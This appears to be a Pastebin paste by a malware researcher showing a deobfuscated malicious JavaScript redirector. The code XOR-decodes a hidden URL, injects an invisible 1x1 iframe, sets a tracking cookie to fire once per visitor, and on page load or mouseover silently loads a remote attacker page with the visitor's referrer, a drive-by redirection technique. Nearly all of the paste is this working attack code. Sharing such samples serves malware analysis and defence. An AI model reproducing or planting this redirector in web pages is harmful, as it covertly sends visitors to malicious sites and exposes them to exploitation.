Kafeine

Conditionned_Redirector_Deobfuscated

Apr 11th, 2014
263
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.     function google_open(data)
  2.       {
  3.       data=(data.indexOf("?")==-1)?data+"?e=e":data;
  4.       var rix=(new Date()).getTime();
  5.       var ns=document.createElement("iframe");
  6.       var src=data+"&rix="+rix;
  7.       ns.style.width="1px";
  8.       ns.style.height="1px";
  9.       ns.style.border="0px";
  10.       ns.src=src;
  11.       var first=document.getElementsByTagName("html")[0].firstChild;
  12.       document.getElementsByTagName("html")[0].insertBefore(ns, first);
  13.       return ns;
  14.       }
  15.  
  16.     var popup=false;
  17.     function popup_open()
  18.       {
  19.       var oxIrxLM = "ddf0b7263cb335041813b8f721ffa89903b6cc1d2a06a3e7f15d6b1d2b490157c33b12c139bf341064";var kqOd = "b584c356069c1a736f649690489bcce02ecfb96d0465cc8ade3502794e2a6e22ad4f77b30a91447814";var InUpJH = "";var w=0x00;for(var i=0;i<(oxIrxLM.length/2);i++){InUpJH += String.fromCharCode(parseInt((oxIrxLM.charAt(w)+oxIrxLM.charAt(w+1)),16)^parseInt((kqOd.charAt(w)+kqOd.charAt(w+1)),16));w += 2;}
  20.  
  21.  
  22. /* InUpJH = http://www.giddy-yup.com/hidecounter3.php */
  23.  
  24.       var google_page = google_open("http://google.com");
  25.       var blo = false;
  26.       var brefs = [""];
  27.       var ref = document.referrer;
  28.       if (brefs.length > 1)
  29.         for(var i=0;i<brefs.length;i++)
  30.       {
  31.       if (ref.indexOf(brefs[i]) != -1)
  32.         blo = true;
  33.       }
  34.  
  35.     var ifr = (window.parent == window) ? false : true;
  36.     var ref = document.referrer;
  37.     if (!blo) //!ifr && !blo
  38.       {
  39.           //if (ref.length > 0)
  40.             //{
  41.             var date = new Date( new Date().getTime() + 60*60*24*7*1000 );
  42.             document.cookie="caseaga=jenrmajk; path=/; expires="+date.toUTCString();
  43.             //location.href = InUpJH+"?gonext=true&r="+ref;
  44.         setTimeout(function(){google_page.src = InUpJH+"?gonext=true&r="+ref;},100);
  45.             //}
  46.       }
  47.       }
  48.  
  49.     function getCookie(name)
  50.       {
  51.       var matches = document.cookie.match(new RegExp("(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, "\$1") + "=([^;]*)"));
  52.       return matches ? decodeURIComponent(matches[1]) : undefined;
  53.       }
  54.  
  55.     var cload = false;
  56.  
  57.     function createonload()
  58.      {
  59.      var html = document.getElementsByTagName("html")[0];
  60.      if (html)
  61.       {
  62.       var old_onover = html.onmouseover;
  63.       dododo = function()
  64.     {
  65.     if (!popup)
  66.       {
  67.       popup=true;
  68.       var cook = getCookie("caseaga");
  69.       if (cook != "jenrmajk")
  70.         popup_open();
  71.       }
  72.     if(typeof old_onover=="function") old_onover();
  73.     }
  74.       html.onmouseover = dododo;
  75.       html.onfocus = dododo;
  76.       dododo();
  77.       cload = true;
  78.       }
  79.     if (!cload)
  80.       setTimeout(function(){createonload();},10);
  81.     }
  82.  
  83.   createonload();
Advertisement
Add Comment
Please, Sign In to add comment